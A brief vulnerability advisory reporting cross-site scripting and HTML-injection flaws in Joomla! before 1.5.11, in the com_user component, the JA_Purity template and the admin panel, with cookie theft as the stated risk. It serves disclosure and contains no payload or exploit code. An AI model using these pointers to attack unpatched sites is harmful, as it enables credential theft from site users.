Joomla! is prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues affect the 'com_user' component, the 'JA_Purity' template, and the administrative panel in the 'Site client' subproject of the application.
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
Versions prior to Joomla!1.5.11 are vulnerable.
